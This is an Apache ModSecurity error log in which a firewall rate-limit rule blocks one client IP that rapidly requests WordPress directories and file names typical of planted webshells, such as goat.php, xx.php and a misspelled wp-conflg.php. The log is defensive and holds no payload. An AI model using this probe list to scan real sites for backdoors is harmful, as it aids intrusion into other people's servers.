[Wed Jan 14 06:25:53.102815 2026] [:error] [pid 24601:tid 24630] [client 4.213.64.52:34970] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aWbGcUCtWkZ9rlKW5n-JpQAAABQ"]
[Wed Jan 14 06:25:53.393441 2026] [:error] [pid 24601:tid 24611] [client 4.213.64.52:35019] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aWbGcUCtWkZ9rlKW5n-JpgAAAAE"]
[Wed Jan 14 06:25:53.681104 2026] [:error] [pid 24601:tid 24617] [client 4.213.64.52:35034] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aWbGcUCtWkZ9rlKW5n-JqQAAAAc"]
[Wed Jan 14 06:25:53.972296 2026] [:error] [pid 24603:tid 24670] [client 4.213.64.52:34982] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aWbGcZPBJGFGN8VT8_SwlQAAAIU"]
[Wed Jan 14 06:25:54.250905 2026] [:error] [pid 58901:tid 58935] [client 4.213.64.52:35048] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aWbGcr3kQSrcqIWtO0o2_wAAAcU"]
[Wed Jan 14 06:25:54.537413 2026] [:error] [pid 24710:tid 24734] [client 4.213.64.52:35031] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goat.php"] [unique_id "aWbGcmXBo5bEhDEEhs1y2gAAANY"]
[Wed Jan 14 06:25:54.815298 2026] [:error] [pid 59074:tid 59099] [client 4.213.64.52:35015] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goat.php"] [unique_id "aWbGck_KrJ818pzhB3xvdAAAAlc"]
[Wed Jan 14 06:25:55.103665 2026] [:error] [pid 24602:tid 24647] [client 4.213.64.52:35025] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goat.php"] [unique_id "aWbGc0ooYwabcb9R9fw_9AAAAEk"]
[Wed Jan 14 06:25:55.378503 2026] [:error] [pid 59074:tid 59096] [client 4.213.64.52:34964] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goat.php"] [unique_id "aWbGc0_KrJ818pzhB3xvdgAAAlQ"]
[Wed Jan 14 06:25:55.672894 2026] [:error] [pid 24710:tid 24736] [client 4.213.64.52:5068] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/"] [unique_id "aWbGc2XBo5bEhDEEhs1y3wAAANg"]
[Wed Jan 14 06:25:55.957540 2026] [:error] [pid 24601:tid 24621] [client 4.213.64.52:35071] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/"] [unique_id "aWbGc0CtWkZ9rlKW5n-JrAAAAAs"]
[Wed Jan 14 06:25:56.269988 2026] [:error] [pid 58977:tid 58990] [client 4.213.64.52:35021] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/"] [unique_id "aWbGdLlT6ggZLRx9QvAKoQAAAgo"]
[Wed Jan 14 06:25:56.547450 2026] [:error] [pid 24710:tid 24720] [client 4.213.64.52:35043] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/"] [unique_id "aWbGdGXBo5bEhDEEhs1y4QAAAMg"]
[Wed Jan 14 06:25:56.835335 2026] [:error] [pid 59074:tid 59100] [client 4.213.64.52:34976] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aWbGdE_KrJ818pzhB3xveQAAAlg"]
[Wed Jan 14 06:25:57.118362 2026] [:error] [pid 24710:tid 24735] [client 4.213.64.52:35051] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aWbGdWXBo5bEhDEEhs1y5AAAANc"]
[Wed Jan 14 06:25:57.424431 2026] [:error] [pid 58699:tid 58703] [client 4.213.64.52:35026] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aWbGdeYdPBtkMLK2Sdq11AAAAQE"]
[Wed Jan 14 06:25:57.709756 2026] [:error] [pid 58901:tid 58945] [client 4.213.64.52:35061] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aWbGdb3kQSrcqIWtO0o3AwAAAc8"]
[Wed Jan 14 06:25:57.985528 2026] [:error] [pid 58901:tid 58952] [client 4.213.64.52:34961] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/"] [unique_id "aWbGdb3kQSrcqIWtO0o3BQAAAdY"]
[Wed Jan 14 06:25:58.294529 2026] [:error] [pid 58901:tid 58943] [client 4.213.64.52:35069] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/"] [unique_id "aWbGdr3kQSrcqIWtO0o3BgAAAc0"]
[Wed Jan 14 06:25:58.570055 2026] [:error] [pid 24710:tid 24712] [client 4.213.64.52:34992] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/"] [unique_id "aWbGdmXBo5bEhDEEhs1y6gAAAMA"]
[Wed Jan 14 06:25:58.869205 2026] [:error] [pid 24710:tid 24715] [client 4.213.64.52:35044] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/"] [unique_id "aWbGdmXBo5bEhDEEhs1y6wAAAMM"]
[Wed Jan 14 06:25:59.186468 2026] [:error] [pid 58901:tid 58936] [client 4.213.64.52:34965] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aWbGd73kQSrcqIWtO0o3CQAAAcY"]
[Wed Jan 14 06:25:59.466820 2026] [:error] [pid 58899:tid 58916] [client 4.213.64.52:34973] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aWbGdwWViGQd5R44tHF89wAAAY0"]
[Wed Jan 14 06:25:59.794641 2026] [:error] [pid 24601:tid 24612] [client 4.213.64.52:35035] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aWbGd0CtWkZ9rlKW5n-JsgAAAAI"]
[Wed Jan 14 06:26:00.088765 2026] [:error] [pid 58901:tid 58937] [client 4.213.64.52:5086] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aWbGeL3kQSrcqIWtO0o3CwAAAcc"]
[Wed Jan 14 06:26:00.385875 2026] [:error] [pid 24601:tid 24627] [client 4.213.64.52:34966] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f5.php"] [unique_id "aWbGeECtWkZ9rlKW5n-JtQAAABE"]
[Wed Jan 14 06:26:00.674244 2026] [:error] [pid 58899:tid 58905] [client 4.213.64.52:34984] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f5.php"] [unique_id "aWbGeAWViGQd5R44tHF8-wAAAYI"]
[Wed Jan 14 06:26:00.954220 2026] [:error] [pid 58901:tid 58949] [client 4.213.64.52:35052] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f5.php"] [unique_id "aWbGeL3kQSrcqIWtO0o3DAAAAdM"]
[Wed Jan 14 06:26:01.241312 2026] [:error] [pid 58977:tid 58997] [client 4.213.64.52:35011] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f5.php"] [unique_id "aWbGeblT6ggZLRx9QvAKqQAAAhE"]
[Wed Jan 14 06:26:01.545274 2026] [:error] [pid 58901:tid 58944] [client 4.213.64.52:35020] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/doc.php"] [unique_id "aWbGeb3kQSrcqIWtO0o3DwAAAc4"]
[Wed Jan 14 06:26:01.872810 2026] [:error] [pid 58901:tid 58931] [client 4.213.64.52:34989] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/doc.php"] [unique_id "aWbGeb3kQSrcqIWtO0o3EgAAAcE"]
[Wed Jan 14 06:26:02.186384 2026] [:error] [pid 58699:tid 58719] [client 4.213.64.52:35042] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/doc.php"] [unique_id "aWbGeuYdPBtkMLK2Sdq12AAAARE"]
[Wed Jan 14 06:26:02.476746 2026] [:error] [pid 58901:tid 58946] [client 4.213.64.52:35037] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/doc.php"] [unique_id "aWbGer3kQSrcqIWtO0o3EwAAAdA"]
[Wed Jan 14 06:26:02.757841 2026] [:error] [pid 58899:tid 58908] [client 4.213.64.52:35059] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aWbGegWViGQd5R44tHF8_wAAAYU"]
[Wed Jan 14 06:26:03.063245 2026] [:error] [pid 24602:tid 24640] [client 4.213.64.52:35033] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aWbGe0ooYwabcb9R9fw_-AAAAEI"]
[Wed Jan 14 06:26:03.395586 2026] [:error] [pid 24602:tid 24650] [client 4.213.64.52:35036] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aWbGe0ooYwabcb9R9fw_-QAAAEw"]
[Wed Jan 14 06:26:03.677946 2026] [:error] [pid 24602:tid 24651] [client 4.213.64.52:35016] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aWbGe0ooYwabcb9R9fw_-gAAAE0"]
[Wed Jan 14 06:26:03.955956 2026] [:error] [pid 58899:tid 58914] [client 4.213.64.52:34945] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xtride.php"] [unique_id "aWbGewWViGQd5R44tHF9AAAAAYs"]
[Wed Jan 14 06:26:04.240171 2026] [:error] [pid 58977:tid 58994] [client 4.213.64.52:34957] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xtride.php"] [unique_id "aWbGfLlT6ggZLRx9QvAKqwAAAg4"]
[Wed Jan 14 06:26:04.530636 2026] [:error] [pid 24601:tid 24623] [client 4.213.64.52:5059] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xtride.php"] [unique_id "aWbGfECtWkZ9rlKW5n-JvQAAAA0"]
[Wed Jan 14 06:26:04.849194 2026] [:error] [pid 58901:tid 58934] [client 4.213.64.52:5060] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xtride.php"] [unique_id "aWbGfL3kQSrcqIWtO0o3GQAAAcQ"]
[Wed Jan 14 06:26:05.138952 2026] [:error] [pid 58901:tid 58950] [client 4.213.64.52:35066] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/flower.php"] [unique_id "aWbGfb3kQSrcqIWtO0o3GwAAAdQ"]
[Wed Jan 14 06:26:05.465240 2026] [:error] [pid 58868:tid 58877] [client 4.213.64.52:35007] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/flower.php"] [unique_id "aWbGfU67yj8PZAmdsblyFgAAAUc"]
[Wed Jan 14 06:26:05.774425 2026] [:error] [pid 58901:tid 58932] [client 4.213.64.52:35047] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/flower.php"] [unique_id "aWbGfb3kQSrcqIWtO0o3HwAAAcI"]
[Wed Jan 14 06:26:06.072447 2026] [:error] [pid 58901:tid 58953] [client 4.213.64.52:35023] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/flower.php"] [unique_id "aWbGfr3kQSrcqIWtO0o3IwAAAdc"]
[Wed Jan 14 06:26:06.371256 2026] [:error] [pid 58901:tid 58947] [client 4.213.64.52:35046] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/flower2.php"] [unique_id "aWbGfr3kQSrcqIWtO0o3JgAAAdE"]
[Wed Jan 14 06:26:06.676445 2026] [:error] [pid 24710:tid 24718] [client 4.213.64.52:34955] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/flower2.php"] [unique_id "aWbGfmXBo5bEhDEEhs1y8gAAAMY"]
[Wed Jan 14 06:26:06.951869 2026] [:error] [pid 24710:tid 24714] [client 4.213.64.52:34990] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/flower2.php"] [unique_id "aWbGfmXBo5bEhDEEhs1y8wAAAMI"]
[Wed Jan 14 06:26:07.226775 2026] [:error] [pid 58699:tid 58708] [client 4.213.64.52:5064] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/flower2.php"] [unique_id "aWbGf-YdPBtkMLK2Sdq13AAAAQY"]
[Wed Jan 14 06:26:07.501001 2026] [:error] [pid 58699:tid 58702] [client 4.213.64.52:34960] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f6.php"] [unique_id "aWbGf-YdPBtkMLK2Sdq13QAAAQA"]
[Wed Jan 14 06:26:07.779416 2026] [:error] [pid 58899:tid 58916] [client 4.213.64.52:34999] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f6.php"] [unique_id "aWbGfwWViGQd5R44tHF9AgAAAY0"]
[Wed Jan 14 06:26:08.052457 2026] [:error] [pid 59074:tid 59082] [client 4.213.64.52:35013] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f6.php"] [unique_id "aWbGgE_KrJ818pzhB3xvfQAAAkY"]
[Wed Jan 14 06:26:08.352482 2026] [:error] [pid 24603:tid 24685] [client 4.213.64.52:35045] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f6.php"] [unique_id "aWbGgJPBJGFGN8VT8_SwnAAAAJQ"]
[Wed Jan 14 06:26:08.625151 2026] [:error] [pid 58868:tid 58886] [client 4.213.64.52:34967] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "aWbGgE67yj8PZAmdsblyGgAAAVA"]
[Wed Jan 14 06:26:08.906327 2026] [:error] [pid 24601:tid 24621] [client 4.213.64.52:5061] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "aWbGgECtWkZ9rlKW5n-JvgAAAAs"]
[Wed Jan 14 06:26:09.178506 2026] [:error] [pid 24710:tid 24716] [client 4.213.64.52:35029] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "aWbGgWXBo5bEhDEEhs1y9AAAAMQ"]
